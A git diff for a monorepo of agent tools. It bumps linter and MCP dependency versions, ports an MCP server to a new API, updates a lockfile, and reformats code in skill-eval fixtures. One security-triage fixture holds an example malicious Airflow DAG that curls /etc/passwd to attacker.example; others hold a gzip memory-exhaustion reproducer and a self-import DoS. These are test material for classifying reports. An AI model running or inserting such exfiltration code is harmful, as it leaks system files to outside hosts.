diff --git a/ai-tutors/pyproject.toml b/ai-tutors/pyproject.toml
index dad1b782b..4e01bfa46 100644
--- a/ai-tutors/pyproject.toml
+++ b/ai-tutors/pyproject.toml
@@ -78,5 +78,5 @@ testpaths = ["."]
 dev = [
   "mypy>=2.3.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.21",
+  "ruff>=0.16.2",
 ]
diff --git a/pyproject.toml b/pyproject.toml
index e2959a4bd..4b7369fa9 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -57,8 +57,8 @@ requires-python = ">=3.11"
 # `[tool.uv] exclude-newer` cooldown below, so the resolved version
 # is "the most recent that is at least 7 days old".
 dev = [
-  "prek>=0.4.10",
-  "ruff>=0.15.22",
+  "prek>=0.4.13",
+  "ruff>=0.16.2",
   "mypy>=2.3.0",
   "pytest>=9.1.1",
 ]
diff --git a/skills/contributor-nomination/fetch.md b/skills/contributor-nomination/fetch.md
index b5202208d..4dd4b54c0 100644
--- a/skills/contributor-nomination/fetch.md
+++ b/skills/contributor-nomination/fetch.md
@@ -199,7 +199,7 @@ calendar month to feed the activity timeline in
 ```python
 # Pseudocode — implement via jq or Python as convenient
 for event in all_events:
-    month = event["createdAt"][:7]   # "YYYY-MM"
+    month = event["createdAt"][:7]  # "YYYY-MM"
     buckets[month] += 1
 ```
 
diff --git a/skills/contributor-sentiment/SKILL.md b/skills/contributor-sentiment/SKILL.md
index ad05aacbc..682df2423 100644
--- a/skills/contributor-sentiment/SKILL.md
+++ b/skills/contributor-sentiment/SKILL.md
@@ -214,7 +214,7 @@ Aggregate counts per login. Compute Gini as:
 ```python
 sorted = sorted(counts)
 n = len(sorted)
-gini = (2 * sum((i+1)*v for i,v in enumerate(sorted)) / (n * sum(sorted))) - (n+1)/n
+gini = (2 * sum((i + 1) * v for i, v in enumerate(sorted)) / (n * sum(sorted))) - (n + 1) / n
 ```
 
 Clamp to [0, 1]. If reviewer_count < 2, set `reviewer_load_gini: null`
diff --git a/skills/issue-reproducer/verification.md b/skills/issue-reproducer/verification.md
index ae85825a4..382061bf2 100644
--- a/skills/issue-reproducer/verification.md
+++ b/skills/issue-reproducer/verification.md
@@ -57,7 +57,7 @@ substring matching near common prefixes.
 **Bad:**
 
 ```python
-if "xs" in output:                       # matches xsi too
+if "xs" in output:  # matches xsi too
     classified = "still-fails-same"
 ```
 
@@ -73,7 +73,8 @@ if (output.contains("foo")) {            // matches foo-bar, foobar
 
 ```python
 import re
-if re.search(r'\bxs="[^"]*"', output):   # match only xs= attribute
+
+if re.search(r'\bxs="[^"]*"', output):  # match only xs= attribute
     classified = "still-fails-same"
 ```
 
diff --git a/skills/pyproject.toml b/skills/pyproject.toml
index c6562e571..12b64d470 100644
--- a/skills/pyproject.toml
+++ b/skills/pyproject.toml
@@ -97,5 +97,5 @@ testpaths = ["."]
 dev = [
   "mypy>=2.3.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.21",
+  "ruff>=0.16.2",
 ]
diff --git a/tools/agent-guard/pyproject.toml b/tools/agent-guard/pyproject.toml
index 9f088f9b6..c48854311 100644
--- a/tools/agent-guard/pyproject.toml
+++ b/tools/agent-guard/pyproject.toml
@@ -85,5 +85,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.1.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]
diff --git a/tools/agent-isolation/pyproject.toml b/tools/agent-isolation/pyproject.toml
index f70b622cf..d6326d9ab 100644
--- a/tools/agent-isolation/pyproject.toml
+++ b/tools/agent-isolation/pyproject.toml
@@ -45,5 +45,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.1.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]
diff --git a/tools/bitbucket/pyproject.toml b/tools/bitbucket/pyproject.toml
index 2707aed5b..6a81b2116 100644
--- a/tools/bitbucket/pyproject.toml
+++ b/tools/bitbucket/pyproject.toml
@@ -83,5 +83,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=1.10",
   "pytest>=8.0",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]
diff --git a/tools/cve-tool-vulnogram/generate-cve-json/pyproject.toml b/tools/cve-tool-vulnogram/generate-cve-json/pyproject.toml
index 811f0f9d6..1453433b4 100644
--- a/tools/cve-tool-vulnogram/generate-cve-json/pyproject.toml
+++ b/tools/cve-tool-vulnogram/generate-cve-json/pyproject.toml
@@ -94,5 +94,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.3.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]
diff --git a/tools/cve-tool-vulnogram/oauth-api/pyproject.toml b/tools/cve-tool-vulnogram/oauth-api/pyproject.toml
index a8791e431..66976971c 100644
--- a/tools/cve-tool-vulnogram/oauth-api/pyproject.toml
+++ b/tools/cve-tool-vulnogram/oauth-api/pyproject.toml
@@ -95,5 +95,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.3.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]
diff --git a/tools/egress-gateway/pyproject.toml b/tools/egress-gateway/pyproject.toml
index 830887c7f..7075fd3e2 100644
--- a/tools/egress-gateway/pyproject.toml
+++ b/tools/egress-gateway/pyproject.toml
@@ -69,5 +69,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.1.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]
diff --git a/tools/github-body-field/pyproject.toml b/tools/github-body-field/pyproject.toml
index 044da99a4..e63030f42 100644
--- a/tools/github-body-field/pyproject.toml
+++ b/tools/github-body-field/pyproject.toml
@@ -88,5 +88,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.1.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]
diff --git a/tools/github-rollup/pyproject.toml b/tools/github-rollup/pyproject.toml
index 2bda6bbc0..516a13572 100644
--- a/tools/github-rollup/pyproject.toml
+++ b/tools/github-rollup/pyproject.toml
@@ -74,5 +74,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.1.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]
diff --git a/tools/gmail/oauth-draft/pyproject.toml b/tools/gmail/oauth-draft/pyproject.toml
index d13ffc0ab..a634a4a9e 100644
--- a/tools/gmail/oauth-draft/pyproject.toml
+++ b/tools/gmail/oauth-draft/pyproject.toml
@@ -40,7 +40,7 @@ dependencies = [
 # install it with `uv run --project ... --extra mcp oauth-draft-mcp`.
 [project.optional-dependencies]
 mcp = [
-  "mcp>=1.28.1",
+  "mcp>=2.0.0",
 ]
 
 [project.scripts]
@@ -117,7 +117,7 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.3.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
   # Needed to import and test `oauth_draft.mcp_server` (the `mcp` extra).
-  "mcp>=1.28.1",
+  "mcp>=2.0.0",
 ]
diff --git a/tools/gmail/oauth-draft/src/oauth_draft/mcp_server.py b/tools/gmail/oauth-draft/src/oauth_draft/mcp_server.py
index 872c7e159..230f89b27 100644
--- a/tools/gmail/oauth-draft/src/oauth_draft/mcp_server.py
+++ b/tools/gmail/oauth-draft/src/oauth_draft/mcp_server.py
@@ -70,7 +70,7 @@
 from collections.abc import Iterator
 from typing import Any
 
-from mcp.server.fastmcp import FastMCP
+from mcp.server.mcpserver import MCPServer
 
 from oauth_draft import create_draft as _cd
 from oauth_draft import setup_creds as _setup
@@ -81,7 +81,7 @@
     refresh_access_token,
 )
 
-mcp = FastMCP("gmail-plaintext")
+mcp = MCPServer("gmail-plaintext")
 
 
 @contextlib.contextmanager
@@ -90,7 +90,7 @@ def _as_tool_error() -> Iterator[None]:
 
     ``create_draft.py`` / ``credentials.py`` raise ``SystemExit`` (they are
     also console scripts). ``SystemExit`` is a ``BaseException``, not an
-    ``Exception``, so without this it would propagate past FastMCP and kill
+    ``Exception``, so without this it would propagate past MCPServer and kill
     the server process instead of surfacing as a failed tool call.
     """
     try:
diff --git a/tools/gmail/oauth-draft/tests/test_mcp_server.py b/tools/gmail/oauth-draft/tests/test_mcp_server.py
index 9afb08c85..d61ea3574 100644
--- a/tools/gmail/oauth-draft/tests/test_mcp_server.py
+++ b/tools/gmail/oauth-draft/tests/test_mcp_server.py
@@ -85,13 +85,13 @@ def test_tools_are_registered_without_any_html_parameter():
     names = {t.name for t in tools}
     assert names == {"create_draft", "setup_credentials", "check_auth"}
     by_name = {t.name: t for t in tools}
-    draft_props = by_name["create_draft"].inputSchema.get("properties", {})
+    draft_props = by_name["create_draft"].input_schema.get("properties", {})
     # The draft tool must never expose an HTML / rich-text body knob.
     assert not any("html" in p.lower() for p in draft_props)
     assert {"to", "subject", "body"} <= set(draft_props)
     # No tool anywhere exposes an html parameter.
     for t in tools:
-        assert not any("html" in p.lower() for p in t.inputSchema.get("properties", {}))
+        assert not any("html" in p.lower() for p in t.input_schema.get("properties", {}))
 
 
 def test_impl_produces_single_part_plain_text_with_verbatim_link():
diff --git a/tools/jira/pyproject.toml b/tools/jira/pyproject.toml
index d9c595bf6..efeccf746 100644
--- a/tools/jira/pyproject.toml
+++ b/tools/jira/pyproject.toml
@@ -57,5 +57,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.1.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]
diff --git a/tools/maildir/pyproject.toml b/tools/maildir/pyproject.toml
index c5c9790b6..8b248ad4e 100644
--- a/tools/maildir/pyproject.toml
+++ b/tools/maildir/pyproject.toml
@@ -87,5 +87,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.1.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]
diff --git a/tools/permission-audit/pyproject.toml b/tools/permission-audit/pyproject.toml
index 57202d610..5c85a48a4 100644
--- a/tools/permission-audit/pyproject.toml
+++ b/tools/permission-audit/pyproject.toml
@@ -77,5 +77,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.1.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]
diff --git a/tools/pilot-report-validator/pyproject.toml b/tools/pilot-report-validator/pyproject.toml
index d0a3c09e4..306d54fbe 100644
--- a/tools/pilot-report-validator/pyproject.toml
+++ b/tools/pilot-report-validator/pyproject.toml
@@ -50,7 +50,7 @@ ignore = ["E501"]
 dev = [
   "mypy>=2.1.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]
 
 [tool.pytest.ini_options]
diff --git a/tools/pr-management-stats/pyproject.toml b/tools/pr-management-stats/pyproject.toml
index 67336a2c8..81b3b1d5d 100644
--- a/tools/pr-management-stats/pyproject.toml
+++ b/tools/pr-management-stats/pyproject.toml
@@ -44,5 +44,5 @@ pythonpath = [".", "tests"]
 dev = [
   "mypy>=2.1.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]
diff --git a/tools/preflight-audit/pyproject.toml b/tools/preflight-audit/pyproject.toml
index e2f0f254f..aa4e0a5dc 100644
--- a/tools/preflight-audit/pyproject.toml
+++ b/tools/preflight-audit/pyproject.toml
@@ -87,5 +87,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.1.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]
diff --git a/tools/privacy-llm/checker/pyproject.toml b/tools/privacy-llm/checker/pyproject.toml
index f2792fc47..870baef59 100644
--- a/tools/privacy-llm/checker/pyproject.toml
+++ b/tools/privacy-llm/checker/pyproject.toml
@@ -88,5 +88,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.3.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]
diff --git a/tools/privacy-llm/redactor/pyproject.toml b/tools/privacy-llm/redactor/pyproject.toml
index 99fadba51..b3312f5df 100644
--- a/tools/privacy-llm/redactor/pyproject.toml
+++ b/tools/privacy-llm/redactor/pyproject.toml
@@ -91,5 +91,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.3.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]
diff --git a/tools/sandbox-lint/pyproject.toml b/tools/sandbox-lint/pyproject.toml
index 60e9f3a31..8aa0ce98d 100644
--- a/tools/sandbox-lint/pyproject.toml
+++ b/tools/sandbox-lint/pyproject.toml
@@ -88,5 +88,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.3.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]
diff --git a/tools/security-tracker-stats-dashboard/pyproject.toml b/tools/security-tracker-stats-dashboard/pyproject.toml
index a2b3f76a7..c91de562b 100644
--- a/tools/security-tracker-stats-dashboard/pyproject.toml
+++ b/tools/security-tracker-stats-dashboard/pyproject.toml
@@ -55,5 +55,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.1.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]
diff --git a/tools/skill-and-tool-validator/pyproject.toml b/tools/skill-and-tool-validator/pyproject.toml
index 5a53f55e8..32513fd3a 100644
--- a/tools/skill-and-tool-validator/pyproject.toml
+++ b/tools/skill-and-tool-validator/pyproject.toml
@@ -85,5 +85,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.3.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]
diff --git a/tools/skill-evals/evals/issue-reproducer/step-1-inventory/fixtures/case-2-multiple-blocks-across-comments/report.md b/tools/skill-evals/evals/issue-reproducer/step-1-inventory/fixtures/case-2-multiple-blocks-across-comments/report.md
index 6f92421ca..b54692f9c 100644
--- a/tools/skill-evals/evals/issue-reproducer/step-1-inventory/fixtures/case-2-multiple-blocks-across-comments/report.md
+++ b/tools/skill-evals/evals/issue-reproducer/step-1-inventory/fixtures/case-2-multiple-blocks-across-comments/report.md
@@ -12,9 +12,11 @@ Body:
   from airflow.operators.python import PythonOperator
   from datetime import datetime
 
+
   def my_func(x, y):
       print(f"x={x}, y={y}")
 
+
   with DAG("test_dag", start_date=datetime(2024, 1, 1), schedule=None) as dag:
       PythonOperator(task_id="t1", python_callable=my_func, op_kwargs={"x": 1, "y": 2})
   ```
@@ -24,5 +26,6 @@ Comments:
 
     ```python
     from airflow.operators.python import PythonOperator
+
     PythonOperator(task_id="t", python_callable=lambda x: print(x), op_kwargs={"x": 42}).execute({})
     ```
diff --git a/tools/skill-evals/evals/issue-reproducer/step-1-inventory/fixtures/case-4-injection-in-body/report.md b/tools/skill-evals/evals/issue-reproducer/step-1-inventory/fixtures/case-4-injection-in-body/report.md
index 048aa0c4e..aa0e44efd 100644
--- a/tools/skill-evals/evals/issue-reproducer/step-1-inventory/fixtures/case-4-injection-in-body/report.md
+++ b/tools/skill-evals/evals/issue-reproducer/step-1-inventory/fixtures/case-4-injection-in-body/report.md
@@ -11,6 +11,7 @@ Body:
 
   ```python
   from airflow.providers.sftp.hooks.sftp import SFTPHook
+
   hook = SFTPHook(ssh_conn_id="sftp_conn")
   hook.get_conn()
   ```
diff --git a/tools/skill-evals/evals/issue-reproducer/step-3-classify-shape/fixtures/case-5-multiple-blocks/report.md b/tools/skill-evals/evals/issue-reproducer/step-3-classify-shape/fixtures/case-5-multiple-blocks/report.md
index edff18ae8..72927250c 100644
--- a/tools/skill-evals/evals/issue-reproducer/step-3-classify-shape/fixtures/case-5-multiple-blocks/report.md
+++ b/tools/skill-evals/evals/issue-reproducer/step-3-classify-shape/fixtures/case-5-multiple-blocks/report.md
@@ -12,9 +12,11 @@ Body:
   from airflow.operators.python import PythonOperator
   from datetime import datetime
 
+
   def my_func(x, y):
       print(f"x={x}, y={y}")
 
+
   with DAG("test_dag", start_date=datetime(2024, 1, 1), schedule=None) as dag:
       PythonOperator(
           task_id="t1",
@@ -27,5 +29,6 @@ Body:
 
   ```python
   from airflow.operators.python import PythonOperator
+
   PythonOperator(task_id="t", python_callable=lambda x: print(x), op_kwargs={"x": 42}).execute({})
   ```
diff --git a/tools/skill-evals/evals/issue-triage/step-3-classify/fixtures/case-4-duplicate/report.md b/tools/skill-evals/evals/issue-triage/step-3-classify/fixtures/case-4-duplicate/report.md
index d3e0eaf83..4b57181d1 100644
--- a/tools/skill-evals/evals/issue-triage/step-3-classify/fixtures/case-4-duplicate/report.md
+++ b/tools/skill-evals/evals/issue-triage/step-3-classify/fixtures/case-4-duplicate/report.md
@@ -15,8 +15,9 @@ Body:
   Reproduction:
   ```python
   from airflow.models import XCom
-  XCom.set(key='my|key', value='test', task_id='t1', dag_id='d1', run_id='r1')
-  result = XCom.get_many(key='my|key', task_ids='t1', dag_ids='d1', run_ids='r1')
+
+  XCom.set(key="my|key", value="test", task_id="t1", dag_id="d1", run_id="r1")
+  result = XCom.get_many(key="my|key", task_ids="t1", dag_ids="d1", run_ids="r1")
   print(list(result))  # prints []
   ```
 
diff --git a/tools/skill-evals/evals/non-asf-profile-smoke/step-security-intake-classify/fixtures/case-1-non-asf-ghsa-direct-report/report.md b/tools/skill-evals/evals/non-asf-profile-smoke/step-security-intake-classify/fixtures/case-1-non-asf-ghsa-direct-report/report.md
index 22c4d7049..e1c72b937 100644
--- a/tools/skill-evals/evals/non-asf-profile-smoke/step-security-intake-classify/fixtures/case-1-non-asf-ghsa-direct-report/report.md
+++ b/tools/skill-evals/evals/non-asf-profile-smoke/step-security-intake-classify/fixtures/case-1-non-asf-ghsa-direct-report/report.md
@@ -28,6 +28,7 @@ velox-stream >= 0.8.0, tested on 0.9.2.
 **Steps to reproduce**
 ```python
 import velox_stream
+
 velox_stream.parse(b"\x1f\x8b" + b"\xff" * 4096)
 # triggers OOM in velox_stream/parser/gzip.py:241
 ```
diff --git a/tools/skill-evals/evals/pr-management-mentor/intervention/fixtures/case-2-missing-version/report.md b/tools/skill-evals/evals/pr-management-mentor/intervention/fixtures/case-2-missing-version/report.md
index d2bc2e3a7..24143dd47 100644
--- a/tools/skill-evals/evals/pr-management-mentor/intervention/fixtures/case-2-missing-version/report.md
+++ b/tools/skill-evals/evals/pr-management-mentor/intervention/fixtures/case-2-missing-version/report.md
@@ -12,7 +12,7 @@ Messages (chronological):
      my script manually and it works. Here is the minimal reproducer:
 
      ```python
-     bash_task = BashOperator(task_id='test', bash_command='echo hello')
+     bash_task = BashOperator(task_id="test", bash_command="echo hello")
      ```
 
      Expected: task succeeds. Actual: task marked as failed."
diff --git a/tools/skill-evals/evals/pr-management-mentor/intervention/fixtures/case-9-deprecation-decision/report.md b/tools/skill-evals/evals/pr-management-mentor/intervention/fixtures/case-9-deprecation-decision/report.md
index f8267f671..18a4771dd 100644
--- a/tools/skill-evals/evals/pr-management-mentor/intervention/fixtures/case-9-deprecation-decision/report.md
+++ b/tools/skill-evals/evals/pr-management-mentor/intervention/fixtures/case-9-deprecation-decision/report.md
@@ -14,7 +14,7 @@ Messages (chronological):
      minute. A typical DAG looks like:
 
      ```python
-     with DAG('etl_daily', schedule_interval='@daily') as dag:
+     with DAG("etl_daily", schedule_interval="@daily") as dag:
          ...
      ```
 
diff --git a/tools/skill-evals/evals/security-issue-import/step-3-classify/fixtures/case-8-non-asf-ghsa-direct/report.md b/tools/skill-evals/evals/security-issue-import/step-3-classify/fixtures/case-8-non-asf-ghsa-direct/report.md
index cc6cd651c..a592fbf87 100644
--- a/tools/skill-evals/evals/security-issue-import/step-3-classify/fixtures/case-8-non-asf-ghsa-direct/report.md
+++ b/tools/skill-evals/evals/security-issue-import/step-3-classify/fixtures/case-8-non-asf-ghsa-direct/report.md
@@ -24,6 +24,7 @@ velox-stream >= 0.8.0, tested on 0.9.2.
 **Steps to reproduce**
 ```python
 import velox_stream
+
 velox_stream.parse(b"\x1f\x8b" + b"\xff" * 4096)
 ```
 
diff --git a/tools/skill-evals/evals/security-issue-triage/step-3-classify/fixtures/case-1-dag-author-rce/report.md b/tools/skill-evals/evals/security-issue-triage/step-3-classify/fixtures/case-1-dag-author-rce/report.md
index 55305289e..c8fd5a9f2 100644
--- a/tools/skill-evals/evals/security-issue-triage/step-3-classify/fixtures/case-1-dag-author-rce/report.md
+++ b/tools/skill-evals/evals/security-issue-triage/step-3-classify/fixtures/case-1-dag-author-rce/report.md
@@ -10,8 +10,9 @@ Airflow worker. Example:
 ```python
 def malicious():
     import subprocess, os
-    subprocess.run(["curl", "http://attacker.example/exfil",
-                    "-d", open("/etc/passwd").read()])
+
+    subprocess.run(["curl", "http://attacker.example/exfil", "-d", open("/etc/passwd").read()])
+
 
 with DAG("exfil") as dag:
     PythonOperator(task_id="steal", python_callable=malicious)
diff --git a/tools/skill-evals/evals/security-issue-triage/step-3-classify/fixtures/case-3-authenticated-dos/report.md b/tools/skill-evals/evals/security-issue-triage/step-3-classify/fixtures/case-3-authenticated-dos/report.md
index 03126f062..9269b0ac9 100644
--- a/tools/skill-evals/evals/security-issue-triage/step-3-classify/fixtures/case-3-authenticated-dos/report.md
+++ b/tools/skill-evals/evals/security-issue-triage/step-3-classify/fixtures/case-3-authenticated-dos/report.md
@@ -12,6 +12,7 @@ hung, no other DAGs are scheduled.
 # cycle.py
 import cycle  # imports itself
 from airflow import DAG
+
 dag = DAG("cycle", schedule=None)
 ```
 
diff --git a/tools/skill-evals/pyproject.toml b/tools/skill-evals/pyproject.toml
index 97f2a3286..b97021479 100644
--- a/tools/skill-evals/pyproject.toml
+++ b/tools/skill-evals/pyproject.toml
@@ -55,5 +55,5 @@ addopts = "-ra -q"
 dev = [
   "mypy>=2.3.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]
diff --git a/tools/sourcehut/pyproject.toml b/tools/sourcehut/pyproject.toml
index 18f2f4899..443a9600c 100644
--- a/tools/sourcehut/pyproject.toml
+++ b/tools/sourcehut/pyproject.toml
@@ -30,7 +30,7 @@ dependencies = []
 
 [dependency-groups]
 dev = [
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
   "mypy>=2.3.0",
   "pytest>=9.1.1",
 ]
diff --git a/tools/spec-inventory/pyproject.toml b/tools/spec-inventory/pyproject.toml
index 084953a6d..e44ef906f 100644
--- a/tools/spec-inventory/pyproject.toml
+++ b/tools/spec-inventory/pyproject.toml
@@ -67,7 +67,7 @@ disallow_incomplete_defs = false
 dev = [
   "mypy>=2.1.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]
 
 [tool.pytest.ini_options]
diff --git a/tools/spec-status-index/pyproject.toml b/tools/spec-status-index/pyproject.toml
index 3273e9422..66fb6de53 100644
--- a/tools/spec-status-index/pyproject.toml
+++ b/tools/spec-status-index/pyproject.toml
@@ -87,5 +87,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.1.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]
diff --git a/tools/spec-validator/pyproject.toml b/tools/spec-validator/pyproject.toml
index ee58a397c..c727249ec 100644
--- a/tools/spec-validator/pyproject.toml
+++ b/tools/spec-validator/pyproject.toml
@@ -50,7 +50,7 @@ ignore = ["E501"]
 dev = [
   "mypy>=2.1.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]
 
 [tool.pytest.ini_options]
diff --git a/tools/symlink-lint/pyproject.toml b/tools/symlink-lint/pyproject.toml
index 670880de7..57faffcf3 100644
--- a/tools/symlink-lint/pyproject.toml
+++ b/tools/symlink-lint/pyproject.toml
@@ -88,5 +88,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.1.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]
diff --git a/tools/vcs/pyproject.toml b/tools/vcs/pyproject.toml
index 1cf6e37a1..6acb99fea 100644
--- a/tools/vcs/pyproject.toml
+++ b/tools/vcs/pyproject.toml
@@ -88,5 +88,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.1.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]
diff --git a/tools/vendor-neutrality-score/pyproject.toml b/tools/vendor-neutrality-score/pyproject.toml
index 44bcb0f9c..fd5e4ec91 100644
--- a/tools/vendor-neutrality-score/pyproject.toml
+++ b/tools/vendor-neutrality-score/pyproject.toml
@@ -87,5 +87,5 @@ testpaths = ["tests"]
 dev = [
   "mypy>=2.1.0",
   "pytest>=9.1.1",
-  "ruff>=0.15.22",
+  "ruff>=0.16.2",
 ]
diff --git a/uv.lock b/uv.lock
index bcd7cbb41..fdd0b9130 100644
--- a/uv.lock
+++ b/uv.lock
@@ -6,7 +6,8 @@ resolution-markers = [
     "python_full_version == '3.14.*' and sys_platform == 'win32'",
     "python_full_version == '3.14.*' and sys_platform != 'win32'",
     "python_full_version < '3.14' and sys_platform == 'win32'",
-    "python_full_version < '3.14' and sys_platform != 'win32'",
+    "python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform == 'emscripten'",
+    "(python_full_version < '3.12' and sys_platform == 'emscripten') or (python_full_version < '3.14' and sys_platform != 'emscripten' and sys_platform != 'win32')",
 ]
 
 [options]
@@ -68,7 +69,7 @@ dev = [
 dev = [
     { name = "mypy", specifier = ">=2.1.0" },
     { name = "pytest", specifier = ">=9.1.1" },
-    { name = "ruff", specifier = ">=0.15.22" },
+    { name = "ruff", specifier = ">=0.16.2" },
 ]
 
 [[package]]
@@ -89,7 +90,7 @@ dev = [
 dev = [
     { name = "mypy", specifier = ">=2.1.0" },
     { name = "pytest", specifier = ">=9.1.1" },
-    { name = "ruff", specifier = ">=0.15.22" },
+    { name = "ruff", specifier = ">=0.16.2" },
 ]
 
 [[package]]
@@ -110,7 +111,7 @@ dev = [
 dev = [
     { name = "mypy", specifier = ">=2.3.0" },
     { name = "pytest", specifier = ">=9.1.1" },
-    { name = "ruff", specifier = ">=0.15.21" },
+    { name = "ruff", specifier = ">=0.16.2" },
 ]
 
 [[package]]
@@ -153,9 +154,9 @@ dev = [
 [package.metadata.requires-dev]
 dev = [
     { name = "mypy", specifier = ">=2.3.0" },
-    { name = "prek", specifier = ">=0.4.10" },
+    { name = "prek", specifier = ">=0.4.13" },
     { name = "pytest", specifier = ">=9.1.1" },
-    { name = "ruff", specifier = ">=0.15.22" },
+    { name = "ruff", specifier = ">=0.16.2" },
 ]
 
 [[package]]
@@ -394,7 +395,7 @@ dev = [
 dev = [
     { name = "mypy", specifier = ">=2.3.0" },
     { name = "pytest", specifier = ">=9.1.1" },
-    { name = "ruff", specifier = ">=0.15.22" },
+    { name = "ruff", specifier = ">=0.16.2" },
 ]
 
 [[package]]
@@ -496,7 +497,7 @@ requires-dist = [{ name = "proxy-py", specifier = ">=2.4,<3" }]
 dev = [
     { name = "mypy", specifier = ">=2.1.0" },
     { name = "pytest", specifier = ">=9.1.1" },
-    { name = "ruff", specifier = ">=0.15.22" },
+    { name = "ruff", specifier = ">=0.16.2" },
 ]
 
 [[package]]
@@ -517,7 +518,7 @@ dev = [
 dev = [
     { name = "mypy", specifier = ">=2.3.0" },
     { name = "pytest", specifier = ">=9.1.1" },
-    { name = "ruff", specifier = ">=0.15.22" },
+    { name = "ruff", specifier = ">=0.16.2" },
 ]
 
 [[package]]
@@ -538,7 +539,7 @@ dev = [
 dev = [
     { name = "mypy", specifier = ">=2.1.0" },
     { name = "pytest", specifier = ">=9.1.1" },
-    { name = "ruff", specifier = ">=0.15.22" },
+    { name = "ruff", specifier = ">=0.16.2" },
 ]
 
 [[package]]
@@ -559,7 +560,7 @@ dev = [
 dev = [
     { name = "mypy", specifier = ">=2.1.0" },
     { name = "pytest", specifier = ">=9.1.1" },
-    { name = "ruff", specifier = ">=0.15.22" },
+    { name = "ruff", specifier = ">=0.16.2" },
 ]
 
 [[package]]
@@ -598,49 +599,51 @@ wheels = [
 ]
 
 [[package]]
-name = "httpcore"
-version = "1.0.9"
+name = "httpcore2"
+version = "2.10.0"
 source = { registry = "https://pypi.org/simple" }
 dependencies = [
-    { name = "certifi" },
     { name = "h11" },
+    { name = "truststore" },
 ]
-sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 85484, upload-time = "2025-04-24T22:06:22.219Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/a9/83/a896fc59940fc5a6e2aff3a4be1d92fa890112936803b331cae75a993c34/httpcore2-2.10.0.tar.gz", hash = "sha256:13c0cc3d1919d4f28457f60cd2c2abe04113a8af184ccf1142811beba936f9dc", size = 67427, upload-time = "2026-08-09T09:11:32.123Z" }
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+    { url = "https://files.pythonhosted.org/packages/e5/4f/d149104195a35e2853a2fc203a8e3477747e58c80e17dda686dace174383/httpcore2-2.10.0-py3-none-any.whl", hash = "sha256:7df06cfb34070cae4f7c89be69dc1095eca138e9704ceffb98d25c1912ab6f01", size = 83000, upload-time = "2026-08-09T09:11:29.555Z" },
 ]
 
 [[package]]
-name = "httpx"
-version = "0.28.1"
+name = "httpx2"
+version = "2.10.0"
 source = { registry = "https://pypi.org/simple" }
 dependencies = [
-    { name = "anyio" },
-    { name = "certifi" },
-    { name = "httpcore" },
